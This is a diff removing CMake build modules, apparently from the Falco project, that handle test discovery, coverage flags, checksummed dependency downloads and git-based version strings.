function(add_command NAME)
set(_args "")
foreach(_arg ${ARGN})
if(_arg MATCHES "[^-./:a-zA-Z0-9_]")
set(_args "${_args} [==[${_arg}]==]") # form a bracket_argument
else()
set(_args "${_args} ${_arg}")
endif()
endforeach()
set(script
"${script}${NAME}(${_args})\n"
PARENT_SCOPE)
endfunction()
# Run test executable to get list of available tests
if(NOT EXISTS "${TEST_EXECUTABLE}")
message(FATAL_ERROR "Specified test executable '${TEST_EXECUTABLE}' does not exist")
endif()
execute_process(
COMMAND ${TEST_EXECUTOR} "${TEST_EXECUTABLE}" ${spec} --list-test-names-only
OUTPUT_VARIABLE output
RESULT_VARIABLE result)
# Catch --list-test-names-only reports the number of tests, so 0 is... surprising
if(${result} EQUAL 0)
message(WARNING "Test executable '${TEST_EXECUTABLE}' contains no tests!\n")
elseif(${result} LESS 0)
message(FATAL_ERROR "Error running test executable '${TEST_EXECUTABLE}':\n" " Result: ${result}\n"
" Output: ${output}\n")
endif()
string(REPLACE "\n" ";" output "${output}")
# Parse output
foreach(line ${output})
set(test ${line})
# use escape commas to handle properly test cases with commands inside the name
string(REPLACE "," "\\," test_name ${test})
# ...and add to script
add_command(add_test "${prefix}${test}${suffix}" ${TEST_EXECUTOR} "${TEST_EXECUTABLE}" "${test_name}" ${extra_args})
add_command(set_tests_properties "${prefix}${test}${suffix}" PROPERTIES WORKING_DIRECTORY "${TEST_WORKING_DIR}"
${properties})
list(APPEND tests "${prefix}${test}${suffix}")
endforeach()
# Create a list of all discovered tests, which users may use to e.g. set properties on the tests
add_command(set ${TEST_LIST} ${tests})
# Write CTest script
file(WRITE "${CTEST_FILE}" "${script}")

View File

@@ -1,25 +0,0 @@
#
# Copyright (C) 2020 The Falco Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
# specific language governing permissions and limitations under the License.
#
# Tests coverage
option(FALCO_COVERAGE "Build test suite with coverage information" OFF)
if(FALCO_COVERAGE)
if(NOT (("${CMAKE_CXX_COMPILER_ID}" MATCHES "GNU") OR ("${CMAKE_CXX_COMPILER_ID}" MATCHES "Clang")))
message(FATAL_ERROR "FALCO_COVERAGE requires GCC or Clang.")
endif()
message(STATUS "Building with coverage information")
add_compile_options(-g --coverage)
set(CMAKE_SHARED_LINKER_FLAGS "--coverage ${CMAKE_SHARED_LINKER_FLAGS}")
set(CMAKE_EXE_LINKER_FLAGS "--coverage ${CMAKE_EXE_LINKER_FLAGS}")
endif()

View File

@@ -1,27 +0,0 @@
#
# Copyright (C) 2020 The Falco Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
# specific language governing permissions and limitations under the License.
#
include(ExternalProject)
set(CATCH2_INCLUDE ${CMAKE_BINARY_DIR}/catch2-prefix/include)
set(CATCH_EXTERNAL_URL URL https://github.com/catchorg/catch2/archive/v2.13.9.tar.gz URL_HASH
SHA256=06dbc7620e3b96c2b69d57bf337028bf245a211b3cddb843835bfe258f427a52)
ExternalProject_Add(
catch2
PREFIX ${CMAKE_BINARY_DIR}/catch2-prefix
${CATCH_EXTERNAL_URL}
CONFIGURE_COMMAND ""
BUILD_COMMAND ""
INSTALL_COMMAND ${CMAKE_COMMAND} -E copy ${CMAKE_BINARY_DIR}/catch2-prefix/src/catch2/single_include/catch2/catch.hpp
${CATCH2_INCLUDE}/catch.hpp)

View File

@@ -1,28 +0,0 @@
#
# Copyright (C) 2020 The Falco Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
# specific language governing permissions and limitations under the License.
#
include(ExternalProject)
set(FAKEIT_INCLUDE ${CMAKE_BINARY_DIR}/fakeit-prefix/include)
set(FAKEIT_EXTERNAL_URL URL https://github.com/eranpeer/fakeit/archive/2.0.9.tar.gz URL_HASH
SHA256=dc4ee7b17a84c959019b92c20fce6dc9426e9e170b6edf84db6cb2e188520cd7)
ExternalProject_Add(
fakeit-external
PREFIX ${CMAKE_BINARY_DIR}/fakeit-prefix
${FAKEIT_EXTERNAL_URL}
CONFIGURE_COMMAND ""
BUILD_COMMAND ""
INSTALL_COMMAND
${CMAKE_COMMAND} -E copy ${CMAKE_BINARY_DIR}/fakeit-prefix/src/fakeit-external/single_header/catch/fakeit.hpp
${FAKEIT_INCLUDE}/fakeit.hpp)

View File

@@ -1,31 +0,0 @@
#
# Copyright (C) 2020 The Falco Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
# specific language governing permissions and limitations under the License.
#
# This module is used to understand where the makedev function is defined in the glibc in use. see 'man 3 makedev'
# Usage: In your CMakeLists.txt include(FindMakedev)
#
# In your source code:
#
# #if HAVE_SYS_MKDEV_H #include <sys/mkdev.h> #endif #ifdef HAVE_SYS_SYSMACROS_H #include <sys/sysmacros.h> #endif
#
include(${CMAKE_ROOT}/Modules/CheckIncludeFile.cmake)
check_include_file("sys/mkdev.h" HAVE_SYS_MKDEV_H)
check_include_file("sys/sysmacros.h" HAVE_SYS_SYSMACROS_H)
if(HAVE_SYS_MKDEV_H)
add_definitions(-DHAVE_SYS_MKDEV_H)
endif()
if(HAVE_SYS_SYSMACROS_H)
add_definitions(-DHAVE_SYS_SYSMACROS_H)
endif()

View File

@@ -1,77 +0,0 @@
#
# Copyright (C) 2020 The Falco Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
# specific language governing permissions and limitations under the License.
#
# Retrieve git ref and commit hash
include(GetGitRevisionDescription)
# Create the falco version variable according to git index
if(NOT FALCO_VERSION)
# Try to obtain the exact git tag
git_get_exact_tag(FALCO_TAG)
if(NOT FALCO_TAG)
# Fetch current hash
get_git_head_revision(refspec FALCO_HASH)
if(NOT FALCO_HASH OR FALCO_HASH MATCHES "NOTFOUND$")
set(FALCO_VERSION "0.0.0")
else()
# Obtain the closest tag
git_get_latest_tag(FALCO_LATEST_TAG)
if(NOT FALCO_LATEST_TAG OR FALCO_LATEST_TAG MATCHES "NOTFOUND$")
set(FALCO_VERSION "0.0.0")
else()
# Compute commit delta since tag
git_get_delta_from_tag(FALCO_DELTA ${FALCO_LATEST_TAG} ${FALCO_HASH})
if(NOT FALCO_DELTA OR FALCO_DELTA MATCHES "NOTFOUND$")
set(FALCO_VERSION "0.0.0")
else()
# Cut hash to 7 bytes
string(SUBSTRING ${FALCO_HASH} 0 7 FALCO_HASH)
# Format FALCO_VERSION to be semver with prerelease and build part
set(FALCO_VERSION
"${FALCO_LATEST_TAG}-${FALCO_DELTA}+${FALCO_HASH}")
endif()
endif()
endif()
else()
# A tag has been found: use it as the Falco version
set(FALCO_VERSION "${FALCO_TAG}")
endif()
endif()
# Remove the starting "v" in case there is one
string(REGEX REPLACE "^v(.*)" "\\1" FALCO_VERSION "${FALCO_VERSION}")
# TODO(leodido) > ensure Falco version is semver before extracting parts Populate partial version variables
string(REGEX MATCH "^(0|[1-9][0-9]*)" FALCO_VERSION_MAJOR "${FALCO_VERSION}")
string(REGEX REPLACE "^(0|[1-9][0-9]*)\\.(0|[1-9][0-9]*)\\..*" "\\2" FALCO_VERSION_MINOR "${FALCO_VERSION}")
string(REGEX REPLACE "^(0|[1-9][0-9]*)\\.(0|[1-9][0-9]*)\\.(0|[1-9][0-9]*).*" "\\3" FALCO_VERSION_PATCH
"${FALCO_VERSION}")
string(
REGEX
REPLACE
"^(0|[1-9][0-9]*)\\.(0|[1-9][0-9]*)\\.(0|[1-9][0-9]*)-((0|[1-9][0-9]*|[0-9]*[a-zA-Z-][0-9a-zA-Z-]*)(\\.(0|[1-9][0-9]*|[0-9]*[a-zA-Z-][0-9a-zA-Z-]*))*).*"
"\\5"
FALCO_VERSION_PRERELEASE
"${FALCO_VERSION}")
if(FALCO_VERSION_PRERELEASE STREQUAL "${FALCO_VERSION}")
set(FALCO_VERSION_PRERELEASE "")
endif()
if(NOT FALCO_VERSION_BUILD)
string(REGEX REPLACE ".*\\+([0-9a-zA-Z-]+(\\.[0-9a-zA-Z-]+)*)" "\\1" FALCO_VERSION_BUILD "${FALCO_VERSION}")
endif()
if(FALCO_VERSION_BUILD STREQUAL "${FALCO_VERSION}")
set(FALCO_VERSION_BUILD "")
endif()
message(STATUS "Falco version: ${FALCO_VERSION}")

View File

@@ -1,274 +0,0 @@
# * Returns a version string from Git
#
# These functions force a re-configure on each git commit so that you can trust the values of the variables in your
# build system.
#
# get_git_head_revision(<refspecvar> <hashvar> [<additional arguments to git describe> ...])
#
# Returns the refspec and sha hash of the current head revision
#
# git_describe(<var> [<additional arguments to git describe> ...])
#
# Returns the results of git describe on the source tree, and adjusting the output so that it tests false if an error
# occurs.
#
# git_get_exact_tag(<var> [<additional arguments to git describe> ...])
#
# Returns the results of git describe --exact-match on the source tree, and adjusting the output so that it tests false
# if there was no exact matching tag.
#
# git_local_changes(<var>)
#
# Returns either "CLEAN" or "DIRTY" with respect to uncommitted changes. Uses the return code of "git diff-index --quiet
# HEAD --". Does not regard untracked files.
#
# Requires CMake 2.6 or newer (uses the 'function' command)
#
# Original Author: 2009-2010 Ryan Pavlik <rpavlik@iastate.edu> <abiryan@ryand.net> http://academic.cleardefinition.com
# Iowa State University HCI Graduate Program/VRAC
#
# Copyright Iowa State University 2009-2010. Distributed under the Boost Software License, Version 1.0. (See
# accompanying file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
if(__get_git_revision_description)
return()
endif()
set(__get_git_revision_description YES)
# We must run the following at "include" time, not at function call time, to find the path to this module rather than
# the path to a calling list file
get_filename_component(_gitdescmoddir ${CMAKE_CURRENT_LIST_FILE} PATH)
function(get_git_head_revision _refspecvar _hashvar)
set(GIT_PARENT_DIR "${CMAKE_CURRENT_SOURCE_DIR}")
set(GIT_DIR "${GIT_PARENT_DIR}/.git")
while(NOT EXISTS "${GIT_DIR}") # .git dir not found, search parent directories
set(GIT_PREVIOUS_PARENT "${GIT_PARENT_DIR}")
get_filename_component(GIT_PARENT_DIR ${GIT_PARENT_DIR} PATH)
if(GIT_PARENT_DIR STREQUAL GIT_PREVIOUS_PARENT)
# We have reached the root directory, we are not in git
set(${_refspecvar}
"GITDIR-NOTFOUND"
PARENT_SCOPE)
set(${_hashvar}
"GITDIR-NOTFOUND"
PARENT_SCOPE)
return()
endif()
set(GIT_DIR "${GIT_PARENT_DIR}/.git")
endwhile()
# check if this is a submodule
if(NOT IS_DIRECTORY ${GIT_DIR})
file(READ ${GIT_DIR} submodule)
string(REGEX REPLACE "gitdir: (.*)\n$" "\\1" GIT_DIR_RELATIVE ${submodule})
get_filename_component(SUBMODULE_DIR ${GIT_DIR} PATH)
get_filename_component(GIT_DIR ${SUBMODULE_DIR}/${GIT_DIR_RELATIVE} ABSOLUTE)
endif()
set(GIT_DATA "${CMAKE_CURRENT_BINARY_DIR}/CMakeFiles/git-data")
if(NOT EXISTS "${GIT_DATA}")
file(MAKE_DIRECTORY "${GIT_DATA}")
endif()
if(NOT EXISTS "${GIT_DIR}/HEAD")
return()
endif()
set(HEAD_FILE "${GIT_DATA}/HEAD")
configure_file("${GIT_DIR}/HEAD" "${HEAD_FILE}" COPYONLY)
configure_file("${_gitdescmoddir}/GetGitRevisionDescription.cmake.in" "${GIT_DATA}/grabRef.cmake" @ONLY)
include("${GIT_DATA}/grabRef.cmake")
set(${_refspecvar}
"${HEAD_REF}"
PARENT_SCOPE)
set(${_hashvar}
"${HEAD_HASH}"
PARENT_SCOPE)
endfunction()
function(git_get_latest_tag _var)
if(NOT GIT_FOUND)
find_package(Git QUIET)
endif()
# We use git describe --tags `git rev-list --tags --max-count=1`
execute_process(COMMAND
"${GIT_EXECUTABLE}"
rev-list
--tags
--max-count=1
WORKING_DIRECTORY
"${CMAKE_CURRENT_SOURCE_DIR}"
COMMAND tail -n1
RESULT_VARIABLE
res
OUTPUT_VARIABLE
tag_hash
ERROR_QUIET
OUTPUT_STRIP_TRAILING_WHITESPACE)
if(NOT res EQUAL 0)
set(out "${tag_hash}-${res}-NOTFOUND" PARENT_SCOPE)
return()
endif()
execute_process(COMMAND
"${GIT_EXECUTABLE}"
describe
--tags
${tag_hash}
WORKING_DIRECTORY
"${CMAKE_CURRENT_SOURCE_DIR}"
RESULT_VARIABLE
res
OUTPUT_VARIABLE
out
ERROR_QUIET
OUTPUT_STRIP_TRAILING_WHITESPACE)
if(NOT res EQUAL 0)
set(out "${out}-${res}-NOTFOUND")
endif()
set(${_var} "${out}" PARENT_SCOPE)
endfunction()
function(git_get_delta_from_tag _var tag hash)
if(NOT GIT_FOUND)
find_package(Git QUIET)
endif()
# Count commits in HEAD
execute_process(COMMAND
"${GIT_EXECUTABLE}"
rev-list
--count
${hash}
WORKING_DIRECTORY
"${CMAKE_CURRENT_SOURCE_DIR}"
RESULT_VARIABLE
res
OUTPUT_VARIABLE
out_counter_head
ERROR_QUIET
OUTPUT_STRIP_TRAILING_WHITESPACE)
if(NOT res EQUAL 0)
set(${_var} "HEADCOUNT-NOTFOUND" PARENT_SCOPE)
return()
endif()
# Count commits in latest tag
execute_process(COMMAND
"${GIT_EXECUTABLE}"
rev-list
--count
${tag}
WORKING_DIRECTORY
"${CMAKE_CURRENT_SOURCE_DIR}"
RESULT_VARIABLE
res
OUTPUT_VARIABLE
out_counter_tag
ERROR_QUIET
OUTPUT_STRIP_TRAILING_WHITESPACE)
if(NOT res EQUAL 0)
set(${_var} "TAGCOUNT-NOTFOUND" PARENT_SCOPE)
return()
endif()
execute_process(COMMAND
expr
${out_counter_head} - ${out_counter_tag}
WORKING_DIRECTORY
"${CMAKE_CURRENT_SOURCE_DIR}"
RESULT_VARIABLE
res
OUTPUT_VARIABLE
out_delta
ERROR_QUIET
OUTPUT_STRIP_TRAILING_WHITESPACE)
if(NOT res EQUAL 0)
set(${_var} "DELTA-NOTFOUND" PARENT_SCOPE)
return()
endif()
set(${_var} "${out_delta}" PARENT_SCOPE)
endfunction()
function(git_describe _var)
if(NOT GIT_FOUND)
find_package(Git QUIET)
endif()
get_git_head_revision(refspec hash)
if(NOT GIT_FOUND)
set(${_var}
"GIT-NOTFOUND"
PARENT_SCOPE)
return()
endif()
if(NOT hash)
set(${_var}
"HEAD-HASH-NOTFOUND"
PARENT_SCOPE)
return()
endif()
execute_process(COMMAND
"${GIT_EXECUTABLE}"
describe
${hash}
${ARGN}
WORKING_DIRECTORY
"${CMAKE_CURRENT_SOURCE_DIR}"
RESULT_VARIABLE
res
OUTPUT_VARIABLE
out
ERROR_QUIET
OUTPUT_STRIP_TRAILING_WHITESPACE)
if(NOT res EQUAL 0)
set(out "${out}-${res}-NOTFOUND")
endif()
set(${_var}
"${out}"
PARENT_SCOPE)
endfunction()
function(git_get_exact_tag _var)
git_describe(out --exact-match ${ARGN})
set(${_var}
"${out}"
PARENT_SCOPE)
endfunction()
function(git_local_changes _var)
if(NOT GIT_FOUND)
find_package(Git QUIET)
endif()
get_git_head_revision(refspec hash)
if(NOT GIT_FOUND)
set(${_var}
"GIT-NOTFOUND"
PARENT_SCOPE)
return()
endif()
if(NOT hash)
set(${_var}
"HEAD-HASH-NOTFOUND"
PARENT_SCOPE)
return()
endif()
execute_process(
COMMAND "${GIT_EXECUTABLE}" diff-index --quiet HEAD --
WORKING_DIRECTORY "${CMAKE_CURRENT_SOURCE_DIR}"
RESULT_VARIABLE res
OUTPUT_VARIABLE out
ERROR_QUIET OUTPUT_STRIP_TRAILING_WHITESPACE)
if(res EQUAL 0)
set(${_var}
"CLEAN"
PARENT_SCOPE)
else()
set(${_var}
"DIRTY"
PARENT_SCOPE)
endif()
endfunction()

View File

@@ -1,41 +0,0 @@
#
# Internal file for GetGitRevisionDescription.cmake
#
# Requires CMake 2.6 or newer (uses the 'function' command)
#
# Original Author:
# 2009-2010 Ryan Pavlik <rpavlik@iastate.edu> <abiryan@ryand.net>
# http://academic.cleardefinition.com
# Iowa State University HCI Graduate Program/VRAC
#
# Copyright Iowa State University 2009-2010.
# Distributed under the Boost Software License, Version 1.0.
# (See accompanying file LICENSE_1_0.txt or copy at
# http://www.boost.org/LICENSE_1_0.txt)
set(HEAD_HASH)
file(READ "@HEAD_FILE@" HEAD_CONTENTS LIMIT 1024)
string(STRIP "${HEAD_CONTENTS}" HEAD_CONTENTS)
if(HEAD_CONTENTS MATCHES "ref")
# named branch
string(REPLACE "ref: " "" HEAD_REF "${HEAD_CONTENTS}")
if(EXISTS "@GIT_DIR@/${HEAD_REF}")
configure_file("@GIT_DIR@/${HEAD_REF}" "@GIT_DATA@/head-ref" COPYONLY)
else()
configure_file("@GIT_DIR@/packed-refs" "@GIT_DATA@/packed-refs" COPYONLY)
file(READ "@GIT_DATA@/packed-refs" PACKED_REFS)
if(${PACKED_REFS} MATCHES "([0-9a-z]*) ${HEAD_REF}")
set(HEAD_HASH "${CMAKE_MATCH_1}")
endif()
endif()
else()
# detached HEAD
configure_file("@GIT_DIR@/HEAD" "@GIT_DATA@/head-ref" COPYONLY)
endif()
if(NOT HEAD_HASH)
file(READ "@GIT_DATA@/head-ref" HEAD_HASH LIMIT 1024)
string(STRIP "${HEAD_HASH}" HEAD_HASH)
endif()

View File

@@ -1,30 +0,0 @@
#
# Copyright (C) 2022 The Falco Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
# specific language governing permissions and limitations under the License.
#
function(copy_files_to_build_dir source_files targetsuffix)
set(build_files)
foreach(file_path ${source_files})
get_filename_component(trace_file ${file_path} NAME)
list(APPEND build_files ${CMAKE_CURRENT_BINARY_DIR}/${trace_file})
endforeach()
add_custom_target(copy-files-${targetsuffix} ALL
DEPENDS ${build_files})
add_custom_command(OUTPUT ${build_files}
COMMAND ${CMAKE_COMMAND} -E copy_if_different ${source_files} ${CMAKE_CURRENT_BINARY_DIR}
DEPENDS ${source_files})
endfunction()

View File

@@ -1,32 +0,0 @@
#
# Copyright (C) 2022 The Falco Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
# specific language governing permissions and limitations under the License.
#
#
# cpp-httplib (https://github.com/yhirose/cpp-httplib)
#
if(CPPHTTPLIB_INCLUDE)
# we already have cpp-httplib
else()
set(CPPHTTPLIB_SRC "${PROJECT_BINARY_DIR}/cpp-httplib-prefix/src/cpp-httplib")
set(CPPHTTPLIB_INCLUDE "${CPPHTTPLIB_SRC}")
message(STATUS "Using bundled cpp-httplib in '${CPPHTTPLIB_SRC}'")
ExternalProject_Add(cpp-httplib
PREFIX "${PROJECT_BINARY_DIR}/cpp-httplib-prefix"
URL "https://github.com/yhirose/cpp-httplib/archive/refs/tags/v0.10.4.tar.gz"
URL_HASH "SHA256=7719ff9f309c807dd8a574048764836b6a12bcb7d6ae9e129e7e4289cfdb4bd4"
CONFIGURE_COMMAND ""
BUILD_COMMAND ""
INSTALL_COMMAND "")
endif()

View File

@@ -1,23 +0,0 @@
#
# Copyright (C) 2022 The Falco Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
# specific language governing permissions and limitations under the License.
#
set(CXXOPTS_SRC "${PROJECT_BINARY_DIR}/cxxopts-prefix/src/cxxopts/")
set(CXXOPTS_INCLUDE_DIR "${CXXOPTS_SRC}/include")
ExternalProject_Add(
cxxopts
URL "https://github.com/jarro2783/cxxopts/archive/refs/tags/v3.0.0.tar.gz"
URL_HASH "SHA256=36f41fa2a46b3c1466613b63f3fa73dc24d912bc90d667147f1e43215a8c6d00"
CONFIGURE_COMMAND ""
BUILD_COMMAND ""
INSTALL_COMMAND "")

View File

@@ -1,29 +0,0 @@
#
# Copyright (C) 2022 The Falco Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
# specific language governing permissions and limitations under the License.
#
cmake_minimum_required(VERSION 3.5.1)
project(driver-repo NONE)
include(ExternalProject)
message(STATUS "Driver version: ${DRIVER_VERSION}")
ExternalProject_Add(
driver
URL "https://github.com/falcosecurity/libs/archive/${DRIVER_VERSION}.tar.gz"
URL_HASH "${DRIVER_CHECKSUM}"
CONFIGURE_COMMAND ""
BUILD_COMMAND ""
INSTALL_COMMAND ""
TEST_COMMAND ""
PATCH_COMMAND sh -c "mv ./driver ../driver.tmp && rm -rf ./* && mv ../driver.tmp/* ."
)

View File

@@ -1,48 +0,0 @@
#
# Copyright (C) 2022 The Falco Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
# specific language governing permissions and limitations under the License.
#
set(DRIVER_CMAKE_SOURCE_DIR "${CMAKE_CURRENT_SOURCE_DIR}/cmake/modules/driver-repo")
set(DRIVER_CMAKE_WORKING_DIR "${CMAKE_BINARY_DIR}/driver-repo")
file(MAKE_DIRECTORY ${DRIVER_CMAKE_WORKING_DIR})
if(DRIVER_SOURCE_DIR)
set(DRIVER_VERSION "0.0.0-local")
message(STATUS "Using local version for driver: '${DRIVER_SOURCE_DIR}'")
else()
# DRIVER_VERSION accepts a git reference (branch name, commit hash, or tag) to the falcosecurity/libs repository
# which contains the driver source code under the `/driver` directory.
# The chosen driver version must be compatible with the given FALCOSECURITY_LIBS_VERSION.
# In case you want to test against another driver version (or branch, or commit) just pass the variable -
# ie., `cmake -DDRIVER_VERSION=dev ..`
if(NOT DRIVER_VERSION)
set(DRIVER_VERSION "dd443b67c6b04464cb8ee2771af8ada8777e7fac")
set(DRIVER_CHECKSUM "SHA256=df373099d0f4cd4417a0103bb57f26c7412ffa86cde2bb2d579c6feba841626d")
endif()
# cd /path/to/build && cmake /path/to/source
execute_process(COMMAND "${CMAKE_COMMAND}" -DDRIVER_VERSION=${DRIVER_VERSION} -DDRIVER_CHECKSUM=${DRIVER_CHECKSUM}
${DRIVER_CMAKE_SOURCE_DIR} WORKING_DIRECTORY ${DRIVER_CMAKE_WORKING_DIR})
# cmake --build .
execute_process(COMMAND "${CMAKE_COMMAND}" --build . WORKING_DIRECTORY "${DRIVER_CMAKE_WORKING_DIR}")
set(DRIVER_SOURCE_DIR "${DRIVER_CMAKE_WORKING_DIR}/driver-prefix/src/driver")
endif()
add_definitions(-D_GNU_SOURCE)
set(DRIVER_NAME "falco")
set(DRIVER_PACKAGE_NAME "falco")
set(DRIVER_COMPONENT_NAME "falco-driver")
add_subdirectory(${DRIVER_SOURCE_DIR} ${PROJECT_BINARY_DIR}/driver)

View File

@@ -1,28 +0,0 @@
#
# Copyright (C) 2020 The Falco Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
# specific language governing permissions and limitations under the License.
#
cmake_minimum_required(VERSION 3.5.1)
project(falcosecurity-libs-repo NONE)
include(ExternalProject)
message(STATUS "Libs version: ${FALCOSECURITY_LIBS_VERSION}")
ExternalProject_Add(
falcosecurity-libs
URL "https://github.com/falcosecurity/libs/archive/${FALCOSECURITY_LIBS_VERSION}.tar.gz"
URL_HASH "${FALCOSECURITY_LIBS_CHECKSUM}"
CONFIGURE_COMMAND ""
BUILD_COMMAND ""
INSTALL_COMMAND ""
TEST_COMMAND ""
)

View File

@@ -1,90 +0,0 @@
#
# Copyright (C) 2021 The Falco Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
# specific language governing permissions and limitations under the License.
#
set(FALCOSECURITY_LIBS_CMAKE_SOURCE_DIR "${CMAKE_CURRENT_SOURCE_DIR}/cmake/modules/falcosecurity-libs-repo")
set(FALCOSECURITY_LIBS_CMAKE_WORKING_DIR "${CMAKE_BINARY_DIR}/falcosecurity-libs-repo")
file(MAKE_DIRECTORY ${FALCOSECURITY_LIBS_CMAKE_WORKING_DIR})
# explicitly disable the bundled driver, since we pull it separately
set(USE_BUNDLED_DRIVER OFF CACHE BOOL "")
if(FALCOSECURITY_LIBS_SOURCE_DIR)
set(FALCOSECURITY_LIBS_VERSION "0.0.0-local")
message(STATUS "Using local version of falcosecurity/libs: '${FALCOSECURITY_LIBS_SOURCE_DIR}'")
else()
# FALCOSECURITY_LIBS_VERSION accepts a git reference (branch name, commit hash, or tag) to the falcosecurity/libs repository.
# In case you want to test against another falcosecurity/libs version (or branch, or commit) just pass the variable -
# ie., `cmake -DFALCOSECURITY_LIBS_VERSION=dev ..`
if(NOT FALCOSECURITY_LIBS_VERSION)
set(FALCOSECURITY_LIBS_VERSION "dd443b67c6b04464cb8ee2771af8ada8777e7fac")
set(FALCOSECURITY_LIBS_CHECKSUM "SHA256=df373099d0f4cd4417a0103bb57f26c7412ffa86cde2bb2d579c6feba841626d")
endif()
# cd /path/to/build && cmake /path/to/source
execute_process(COMMAND "${CMAKE_COMMAND}" -DFALCOSECURITY_LIBS_VERSION=${FALCOSECURITY_LIBS_VERSION} -DFALCOSECURITY_LIBS_CHECKSUM=${FALCOSECURITY_LIBS_CHECKSUM}
${FALCOSECURITY_LIBS_CMAKE_SOURCE_DIR} WORKING_DIRECTORY ${FALCOSECURITY_LIBS_CMAKE_WORKING_DIR})
# cmake --build .
execute_process(COMMAND "${CMAKE_COMMAND}" --build . WORKING_DIRECTORY "${FALCOSECURITY_LIBS_CMAKE_WORKING_DIR}")
set(FALCOSECURITY_LIBS_SOURCE_DIR "${FALCOSECURITY_LIBS_CMAKE_WORKING_DIR}/falcosecurity-libs-prefix/src/falcosecurity-libs")
endif()
set(LIBS_PACKAGE_NAME "falcosecurity")
add_definitions(-D_GNU_SOURCE)
add_definitions(-DHAS_CAPTURE)
if(MUSL_OPTIMIZED_BUILD)
add_definitions(-DMUSL_OPTIMIZED)
endif()
set(SCAP_HOST_ROOT_ENV_VAR_NAME "HOST_ROOT")
if(NOT LIBSCAP_DIR)
set(LIBSCAP_DIR "${FALCOSECURITY_LIBS_SOURCE_DIR}")
endif()
set(LIBSINSP_DIR "${FALCOSECURITY_LIBS_SOURCE_DIR}")
# configure gVisor support
set(BUILD_LIBSCAP_GVISOR ${BUILD_FALCO_GVISOR} CACHE BOOL "")
# configure modern BPF support
set(BUILD_LIBSCAP_MODERN_BPF ${BUILD_FALCO_MODERN_BPF} CACHE BOOL "")
# explicitly disable the tests/examples of this dependency
set(CREATE_TEST_TARGETS OFF CACHE BOOL "")
set(BUILD_LIBSCAP_EXAMPLES OFF CACHE BOOL "")
set(USE_BUNDLED_TBB ON CACHE BOOL "")
set(USE_BUNDLED_B64 ON CACHE BOOL "")
set(USE_BUNDLED_JSONCPP ON CACHE BOOL "")
set(USE_BUNDLED_VALIJSON ON CACHE BOOL "")
set(USE_BUNDLED_RE2 ON CACHE BOOL "")
list(APPEND CMAKE_MODULE_PATH "${FALCOSECURITY_LIBS_SOURCE_DIR}/cmake/modules")
include(CheckSymbolExists)
